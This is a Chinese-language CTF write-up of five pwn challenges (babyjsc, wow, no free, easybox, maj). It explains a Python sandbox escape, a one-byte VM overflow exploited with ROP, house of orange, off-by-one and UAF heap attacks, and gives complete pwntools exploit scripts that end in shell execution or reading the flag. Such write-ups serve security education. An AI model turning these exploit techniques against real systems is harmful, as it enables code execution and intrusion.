0x1 babyjsc
壓縮包中有 server.py ,其中首先執行
size = int(input())
同時壓縮包中可以找到 flag 在靶機上的路徑,所以嘗試 python 逃逸即可。(非預期解,瀏覽器 pwn 被打了快 300 解 2333)
nc 連上后,輸入
__import__('os').system('cat /home/ctf/flag')
0x2 wow
分析
vm pwn 的題目越來越多了,而每次遇到都不會,這次就認真搞搞當入門了。(感謝 starssgo 、幼稚園、fmyy 師傅的指點)
首先 ida 打開文件,上來就是幾萬個未命名的函數,我當年就是這么嚇退了 orz 。這肯定不能傻逼直接逆幾萬個函數,我們需要尋找關鍵代碼。
首先題目 f5 識別有問題,需要修一下。
這里可以看到 0x404dc4 已經是一個新的函數,可是上一個函數的結束地址將這個函數包進去了,導致 ida 識別不出來。我們將上一個函數的 end 地址改為 0x404dc4 ,將下面的函數用 “p” 快捷鍵生成函數即可。
這道題的難度在於逆向分析,就不細講了,講講關鍵部分。
這個程序類似於一個 brainfuck 編譯器,程序中開辟了一塊 0x400 大小的內存給編譯器使用,我們通過輸入程序定義的指令符,對這塊內存進行各種操作,就可以實現各種功能,首先先分析出各個指令的操作:
- @:++ptr;
- #:--ptr;
- ^:++*ptr;
- |:--*ptr;
- &:putchar(*ptr);
- $:*ptr = getchar();
- :ptr << 2;
- :(*ptr);
- {:while(*ptr){
- }:}
程序運行時,棧的情況如下:(假設分配內存的地址為 0x1000)
0x1000 編譯器使用這 0x400 大小
··· ...
0x1400 指向指令字符串的指針 code_buf (值為 0x1410)
0x1408 指令字符串的長度 len(code)
0x1410 指令字符串 code
... ...
0x1468 返回地址
程序漏洞出現在此處:
case 0x40:
if ( v25 >= (char *)&code_buf )
{
sub_4D47B0("invalid operation!");
sub_4C7E70(0xFFFFFFFFLL);
}
++v25;
break;
這里代碼的意思是,執行 “@” 指令時,如果內存指針小於 0x1400 ,則內存指針 + 1 。所以很明顯,這里可以溢出一個字節,也就是說我們可以覆蓋指令字符串指針的最低位字節。而剛好返回地址與指針的偏移在一個字節的大小,所以我們可以控制返回地址的內容。
而程序開啟了沙箱,拿不到 shell ,就只能通過 orw 獲取 flag 了。
所以我們的目標是通過程序給的指令集的操作,將棧修改為:
0x1000 編譯器使用這 0x400 大小
··· ...
0x1400 指向指令字符串的指針 code_buf (值為 0x1410)
0x1408 指令字符串的長度 len(code)
0x1410 指令字符串 code
... ...
0x1468 orw
這樣程序運行到返回地址時,就會運行 orw 打印 flag 。
構造 rop 時有兩個需要注意的點,
一個是我們 rop 中各個 gadget 的地址不能是有效指令。比如說:
pop_rdi = 0x4047ba
這種 gadget 是行不通的,因為程序在解析時,會把 0x40 解析為 “@” ,這樣就會執行對應的操作,達不到我們的目的。
第二是程序在最后返回前,有一個檢測:
if ( code_buf != (__int64 *)&code )
sub_405C90((__int64)code_buf);
也就是指令字符串的指針要與指令字符串的地址相等才能繞過檢測。而我們之前為了修改返回地址的內容,將指針指向了返回地址,程序運行到這里會 crash ,我們通過一字節溢出將指針末位修改回來即可。
exp
from pwn import *
file_name = './main'
#libc_name = ''
context.binary = file_name
context.log_level = 'debug'
#context.terminal = ['./hyperpwn/hyperpwn-client.sh']
p = process(file_name)
#p = process('./idaidg/linux_server64')
#p = remote('')
elf = ELF(file_name)
libc = elf.libc
#syscall = 0x4dc054
#pop_rdi = 0x4047ba
#pop_rsi = 0x407578
#pop_rdx = 0x40437f
#pop_rax = 0x41ea0a
#def call(rax,rdi = 0,rsi = 0,rdx = 0):
# return flat([pop_rax,rax,pop_rdi,rdi,pop_rsi,rsi,pop_rdx,rdx,syscall])
syscall = 0x00000000004dc054 # syscall ; ret
pop_rdi = 0x000000000041307a # pop rdi ; pop ...; ret
pop_rsi = 0x000000000047383d # pop rsi ; pop ...; ret
pop_rdx = 0x000000000053048b # pop rdx ; pop ...; ret
pop_rax = 0x000000000053048a # pop rax ; pop ...; pop ...; ret
def call(rax, rdi=0, rsi=0, rdx=0):
return flat([pop_rax, rax, 0, 0, pop_rdi, rdi, 0, pop_rsi, rsi, 0, pop_rdx, rdx, 0, syscall])
p.sendlineafter("enter your code:\n", "~{@&$}")
p.send("A" * 0x3FF)
p.recvuntil("\nrunning....\n")
sleep(0.2)
p.recvuntil("\x00" * 0x3FF)
val = ord(p.recv(1))
p.send(chr((val + 0x58) & 0xFF))
p.sendafter("continue?", "Y")
sleep(1)
payload = call(0, 0, 0x5D5600, 0x10)
payload += call(2, 0x5D5600, 0, 0)
payload += call(0, 3, 0x5D5600 + 0x10, 0x50)
payload += call(1, 1, 0x5D5600 + 0x10, 0x50)
p.sendlineafter("enter your code:\n", payload + "~{@&$}")
p.send("A" * 0x3FF)
p.send(chr(val))
p.sendafter("continue?", "N")
p.send("flag\x00")
p.interactive()
0x3 no free
分析
這道題只有 edit 功能和通過 strdup 實現的 malloc 功能,難點在於沒有 free 與 show,以致於難以實現信息泄露和利用。
house of orange 技術是一種在沒有 free 情況下可以獲得空閑 chunk 的技術,它通過控制 top chunk 的指針,使得當 top chunk 不滿足分配大小擴展時,會執行 free(old top chunk) ,從而得到空閑的 chunk 。
這里我們第一步就是運用 house of orange 技術獲得空閑 chunk 。
add(0,0x80,'aaa\x00')
edit(0,'a' * 0x18 + p64(0xfe1))
for i in range(24):
add(0,0x90,'b' * 0x90)
add(0,0x90,'a' * 0x30)
add(1,0x90,'a' * 0x90)
首先修改 top chunk 大小為 0xfe1 ,然后不斷分配 chunk 使得最后 top chunk 不滿足分配調用 sysmalloc 擴展,同時獲得空閑 chunk 。
gdb-peda$ bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0xe78f60 ◂— 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
我們可以看到已經獲得了 0x80 大小的 fast bin ,然后就是 fast bin attack :
edit(0,'a' * 0x38 + p64(0x81) + p64(0x6020c0 + 0x100))
add(0,0x81,'a' * 0x77)
add(0,0x81,'a' * 0x77)
通過 edit 功能修改 fd 指針為 heaplist 的地址(位於 bss 段,存儲了每個 malloc 的 chunk 的 user_addr 指針和 size),然后 malloc 兩次即可分配至 heaplist 處。
gdb-peda$ x /20xg 0x6020c0 + 0x100
0x6021c0: 0x00000000006021d0 0x0000000000000081 <-- chunk[0] user_addr && size
0x6021d0: 0x6161616161616161 0x6161616161616161 <-- chunk[1] user_addr && size
0x6021e0: 0x6161616161616161 0x6161616161616161
0x6021f0: 0x6161616161616161 0x6161616161616161
0x602200: 0x6161616161616161 0x6161616161616161
chunk[0] 的 user_addr 指向了 chunk[1] 的 user_addr ,我們可以通過 edit chunk[0] 來編輯 chunk[1] 的 user_addr ,然后再 edit chunk[1] 往 user_addr 指針中寫數據,這就實現了任意寫。
然后通過任意寫:
edit(0,p64(atoi_got) + p64(0x100))
edit(1,p64(printf_plt))
edit_s(0,p64(exit_got) + p64(0x100))
edit_s(1,p64(ret))
修改 atoi_got 為 printf_plt 引入字符串漏洞用於泄露地址,修改 exit_got 為 ret ,這樣當我們輸入不為 ‘1’ 或 ‘2’ 的 choice 時程序也不會退出。
gdb-peda$ x /20xg 0x602000
0x602000: 0x0000000000601e28 0x00007fa118334168
0x602010: 0x00007fa118124ee0 0x00007fa117db2690
0x602020: 0x00000000004006e6 0x00007fa117db96b0
0x602030: 0x00007fa117d98800 0x00007fa117eb5970
0x602040: 0x00007fa117e0f200 0x00007fa117e3a250
0x602050: 0x00007fa117d63740 0x0000000000400700 <--atoi_got
0x602060: 0x00000000004006b9 <--exit_got 0x00007fa117dce470
0x602070: 0x0000000000000000 0x0000000000000000
然后利用格式化字符串漏洞:
payload = "%7$saaaa" + p64(read_got)
p.sendlineafter('choice>> ',payload)
libc_read = u64(p.recv(6).ljust(8,'\x00'))
syscall = libc_read + 0xe1
print "libc_read:" + hex(libc_read)
payload = '%12$p'
p.sendlineafter('choice>> ',payload)
p.recvuntil('0x')
stack_addr = int(p.recv(12),16)
泄露 read 地址和 stack 地址。最后就是利用 rop 調用 execv('/bin/sh', 0, 0) get shell 了,這里 rdi ,rsi ,rdx 的值可以用 gadget 控制,而 rax 的值通過調用 read 函數的返回值來控制。
gadget_1 = 0x400c00
gadget_2 = 0x400c16
edit_s(0,p64(stack_addr + 8) + p64(0x300) + '/bin/sh\x00' + p64(syscall))
payload = flat([pop_rdi, 0, pop_rsi, 0x6020c0, 0, libc_read])
payload += flat([gadget_2, 0, 0, 1, 0x6020c0 + 0x128, 0, 0, 0x6020c0 + 0x120])
payload += flat(gadget_1)
通過 edit 功能將 rop 寫入返回地址,並輸入 0x3b 的字符控制 rax 為 0x3b,即可 get shell。
edit_s(1,payload)
sleep(2)
p.send('A' * 0x3b)
exp
from pwn import *
file_name = './pwn'
libc_name = ''
context.binary = file_name
context.log_level = 'debug'
#context.terminal = ['./hyperpwn/hyperpwn-client.sh']
#p = process(file_name)
#p = process('./idaidg/linux_server64')
p = remote('0.0.0.0',9997)
elf = ELF(file_name)
libc = elf.libc
def add(idx, size, content):
p.sendlineafter("choice>> ", "1")
p.sendlineafter("idx: ", str(idx))
p.sendlineafter("size: ", str(size))
p.sendafter("content: ", content)
def edit(idx, content):
p.sendlineafter("choice>> ", "2")
p.sendlineafter("idx: ", str(idx))
p.sendafter("content: ", content)
def edit_s(idx,content):
p.sendafter('choice>> ','11\x00')
if idx == 0:
p.sendafter('idx: ','\x00')
else:
p.sendafter('idx: ','1' * idx + '\x00')
p.sendafter('content: ',content)
atoi_got = elf.got['atoi']
exit_got = elf.got['exit']
read_got = elf.got['read']
printf_got = elf.got['printf']
printf_plt = elf.plt['printf']
ret = 0x4006b9
add(0,0x80,'aaa\x00')
edit(0,'a' * 0x18 + p64(0xfe1))
for i in range(24):
add(0,0x90,'b' * 0x90)
add(0,0x90,'a' * 0x30)
add(1,0x90,'a' * 0x90)
edit(0,'a' * 0x38 + p64(0x81) + p64(0x6020c0 + 0x100))
add(0,0x81,'a' * 0x77)
add(0,0x81,'a' * 0x77)
edit(0,p64(atoi_got) + p64(0x100))
edit(1,p64(printf_plt))
edit_s(0,p64(exit_got) + p64(0x100))
edit_s(1,p64(ret))
payload = "%7$saaaa" + p64(read_got)
p.sendlineafter('choice>> ',payload)
libc_read = u64(p.recv(6).ljust(8,'\x00'))
syscall = libc_read + 0xe1
print "libc_read:" + hex(libc_read)
payload = '%12$p'
p.sendlineafter('choice>> ',payload)
p.recvuntil('0x')
stack_addr = int(p.recv(12),16)
pop_rdi = 0x400c23 # pop rdi; ret
pop_rsi = 0x400c21 # pop rsi; pop r15; ret
gadget_1 = 0x400c00
gadget_2 = 0x400c16
edit_s(0,p64(stack_addr + 8) + p64(0x300) + '/bin/sh\x00' + p64(syscall))
payload = flat([pop_rdi, 0, pop_rsi, 0x6020c0, 0, libc_read])
payload += flat([gadget_2, 0, 0, 1, 0x6020c0 + 0x128, 0, 0, 0x6020c0 + 0x120])
payload += flat(gadget_1)
edit_s(1,payload)
sleep(2)
p.send('A' * 0x3b)
#gdb.attach(p)
p.interactive()
0x4 easybox
分析
這題的漏洞為 off_by_one ,沒有 show 的功能,那就是通過爆破 IO_2_1_stdout 地址,改寫 stdout 來 leak 信息了。
add(0, 0x28, "AAAA")
add(1, 0x28, "BBBB")
delete(0)
add(2, 0x68, "CCCC")
delete(2)
add(0, 0x28, "A" * 0x28 + "\xa1")
add(3, 0x28, "DDDD")
delete(1)
通過 off_by_one 漏洞造成堆塊重疊:
gdb-peda$ x /40xg 0x5578023d7000
0x5578023d7000: 0x0000000000000000 0x0000000000000031 -->chunk 0
0x5578023d7010: 0x4141414141414141 0x4141414141414141
0x5578023d7020: 0x4141414141414141 0x4141414141414141
0x5578023d7030: 0x4141414141414141 0x00000000000000a1 -->unsorted bin
0x5578023d7040: 0x00007f8fca154b78 0x00007f8fca154b78
0x5578023d7050: 0x0000000000000000 0x0000000000000000
0x5578023d7060: 0x0000000000000000 0x0000000000000071 -->fast bin
0x5578023d7070: 0x0000000000000000 0x0000000000000000
0x5578023d7080: 0x0000000000000000 0x0000000000000000
0x5578023d7090: 0x0000000000000000 0x0000000000000000
0x5578023d70a0: 0x0000000000000000 0x0000000000000000
0x5578023d70b0: 0x0000000000000000 0x0000000000000000
0x5578023d70c0: 0x0000000000000000 0x0000000000000000
0x5578023d70d0: 0x00000000000000a0 0x0000000000000030
0x5578023d70e0: 0x0000000044444444 0x0000000000000000
0x5578023d70f0: 0x0000000000000000 0x0000000000000000
0x5578023d7100: 0x0000000000000000 0x0000000000020f01
0x5578023d7110: 0x0000000000000000 0x0000000000000000
然后分配 0x30 大小的 chunk:
add(1, 0x28, "B" * 0x28)
delete(1)
這樣就構造了一個同時存在於 fast bin 跟 unsorted bin 的 chunk :
gdb-peda$ bins
fastbins
0x20: 0x0
0x30: 0x5623a15d4030 ◂— 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x5623a15d4060 —▸ 0x7fd7399beb78 (main_arena+88) ◂— 0x5623a15d4060
0x80: 0x0
unsortedbin
all: 0x5623a15d4060 —▸ 0x7fd7399beb78 (main_arena+88) ◂— 0x5623a15d4060
然后修改 fast bin 中的 fd 指針為 IO_2_1_stdout 附近的地址:
add(4, 0x50, p64(stdout_offset - 0x43)[:2])
add(1, 0x28, "B" * 0x28)
這里不能分配 0x70 大小的 chunk ,因為那樣會從 fast bin 分配,會使后面的 fast bin attack 失敗;
stdout_offset 我們不妨設置為 0x3620 ,因為 main_arena+88 與 IO_2_1_stdout 的偏移在 2 字節大小范圍內,而隨機化的最小單位是頁,所以后三位 620 是不變的,我們只需要爆破一位即可(1/16 的成功率);
在 IO_2_1_stdout - 0x43 處偽造的 chunk 可以繞過分配 fast bin 時對於 size 的檢測。
然后 fast bin attack 分配至 IO_2_1_stdout 處,修改 IO_write_base 使得程序下次調用 put 函數是可以 leak 出 IO_write_base 至 IO_write_end 的內容:
add(5, 0x68, "EEEE")
add(6, 0x68, "\x00" * 0x33 + p64(0xfbad1800) + p64(0) * 3 + "\x00")
p.recvline() //接收 "1.Add"
p.recv(0x40)
libc_base = u64(p.recv(8)) - 0x3c5600
__malloc_hook = libc_base + __malloc_hook_offset
one_gadget = libc_base + one_gadget_offset
接下來故技重施,造堆塊重疊:
add(7, 0x28, "AAAA")
add(8, 0x28, "BBBB")
delete(7)
add(9, 0x68, "CCCC")
delete(9)
add(7, 0x28, "A" * 0x28 + "\xa1")
add(10, 0x28, "DDDD")
delete(8)
也是與上面類似, fast bin attack 改 __malloc_hook 為 one_gadget 地址:
add(8, 0x38, "E" * 0x28 + p64(0x71) + p64(__malloc_hook - 0x23))
add(9, 0x68, "FFFF")
add(11, 0x68, "G" * 0x13 + p64(one_gadget))
在程序中調用 malloc 觸發 __malloc_hook 即可。
p.sendlineafter(">>>", "1")
p.sendlineafter("idx:", str(12))
p.sendlineafter("len:", str(0x48))
p.interactive()
exp
from pwn import *
file_name = './box'
#libc_name = ''
context.binary = file_name
context.log_level = 'debug'
context.terminal = ['./hyperpwn/hyperpwn-client.sh']
p = process(file_name)
#p = remote('')
#p = process('./idaidg/linux_server_64')
elf = ELF(file_name)
libc = elf.libc
def add(idx,len,content):
p.sendlineafter('>>>','1')
p.sendlineafter('idx:',str(idx))
p.sendlineafter('len:',str(len))
p.sendafter('content:',content)
def delete(idx):
p.sendlineafter('>>>','2')
p.sendlineafter('idx:',str(idx))
stdout_offset = 0x3620
__malloc_hook_offset = libc.symbols['__malloc_hook']
one_gadget_offset = 0xf1147
while True:
try:
# chunk overlap
add(0, 0x28, "AAAA")
add(1, 0x28, "BBBB")
delete(0)
add(2, 0x68, "CCCC")
delete(2)
add(0, 0x28, "A" * 0x28 + "\xa1")
add(3, 0x28, "DDDD")
delete(1)
# partial write
add(1, 0x28, "B" * 0x28)
delete(1)
add(4, 0x50, p64(stdout_offset - 0x43)[:2])
add(1, 0x28, "B" * 0x28)
# leak
add(5, 0x68, "EEEE")
add(6, 0x68, "\x00" * 0x33 + p64(0xfbad1800) + p64(0) * 3 + "\x00")
p.recvline()
p.recv(0x40)
libc_base = u64(p.recv(8)) - 0x3c5600
__malloc_hook = libc_base + __malloc_hook_offset
one_gadget = libc_base + one_gadget_offset
break
except:
print("Failed")
p.close()
p = p = process(file_name)
# chunk overlap
add(7, 0x28, "AAAA")
add(8, 0x28, "BBBB")
delete(7)
add(9, 0x68, "CCCC")
delete(9)
add(7, 0x28, "A" * 0x28 + "\xa1")
add(10, 0x28, "DDDD")
delete(8)
# __malloc_hook
add(8, 0x38, "E" * 0x28 + p64(0x71) + p64(__malloc_hook - 0x23))
add(9, 0x68, "FFFF")
add(11, 0x68, "G" * 0x13 + p64(one_gadget))
# trigger
p.sendlineafter(">>>", "1")
p.sendlineafter("idx:", str(12))
p.sendlineafter("len:", str(0x48))
p.interactive()
0x5 maj
分析
這題的難點在於代碼混淆了,不過其實對於程序以及利用貌似沒啥影響。那這樣其實就很簡單了,思路與上面的 easybox 是一樣的,不過這題有 uaf 漏洞,更容易造堆塊重疊。
過程與上類似,這里就不具體分析了,簡述一下思路:
- 通過 uaf 漏洞造 chunk overlap ,使得一個 chunk 同時存在 unsorted bin 和 fast bin 中。
- 通過 edit 功能改 main_arena+88 為 IO_2_1_stdout 附近的地址,同樣是爆破一位。
- 也是改 IO_write_base 來 leak libc。
- 利用 uaf 漏洞進行 fast bin attack ,改 __malloc_hook 為 one_gadget 地址。
- 程序調用 malloc 觸發 __malloc_hook get shell 。
exp
p = remote('101.200.53.148', 15423)
def add(num, size, content):
p.sendlineafter(">> ", "1")
p.sendlineafter("please answer the question", str(num))
p.sendlineafter('______?', str(size))
p.sendlineafter("start_the_game,yes_or_no?", content)
def delete(idx):
p.sendlineafter(">> ", "2")
p.sendlineafter("index ?", str(idx))
def edit(idx, content):
p.sendlineafter(">> ", "4")
p.sendlineafter("index ?", str(idx))
p.sendafter("__new_content ?", content)
main_arena_offset = 0x3c4b20
__malloc_hook_offset = libc.sym["__malloc_hook"]
one_gadget_offset = 0xf1207
while True:
try:
add(80, 0x28, "AAAA") # chunk 0
add(80, 0x28, "BBBB") # chunk 1
add(80, 0x28, "CCCC") # chunk 2
for i in range(4):
add(80, 0x68, "DDDD") # chunk 3 4 5 6
delete(3)
# chunk overlap
delete(2)
delete(0)
edit(0, '\x10')
add(80, 0x28, "DDDD") # chunk 7
edit(7, (p64(0) + p64(0x31)) * 2)
add(80, 0x28, "EEEE") # chunk 8
edit(8, p64(0) * 3 + p64(0xd1))
# unsorted bin
delete(1)
add(80, 0x58, "FFFF") # chunk 9
# bruteforce 4 bits
edit(3, "\xdd\x55")
add(80, 0x68, "GGGG") # chunk 10
# leak
add(80, 0x68, "HHHH") # chunk 11
edit(11, "\x00" * 0x33 + p64(0xfbad1800) + p64(0) * 3 + "\x00")
p.recvline()
p.recv(0x40)
libc_base = u64(p.recv(8)) - 0x3c5600
__malloc_hook = libc_base + __malloc_hook_offset
one_gadget = libc_base + one_gadget_offset
break
except:
print("failed")
p.close()
p = remote('101.200.53.148', 15423)
# p = process(argv=[_proc], env=_setup_env())
print("success")
edit(11, p64(libc_base + main_arena_offset + 0x58) * 2)
# uaf
add(80, 0x68, "AAAA") # chunk 12
delete(12)
edit(12, p64(__malloc_hook - 0x23))
add(80, 0x68, "BBBB") # chunk 13
add(80, 0x68, "CCCC") # chunk 14
edit(14, '\x00' * 0x13 + p64(one_gadget))
# trigger
p.sendlineafter(">> ", "1")
p.sendlineafter("please answer the question", str(80))
p.sendlineafter('______?', str(0x38))
success("libc_base: " + hex(libc_base))
success("one_gadget: " + hex(one_gadget))
p.sendline(token)
p.interactive()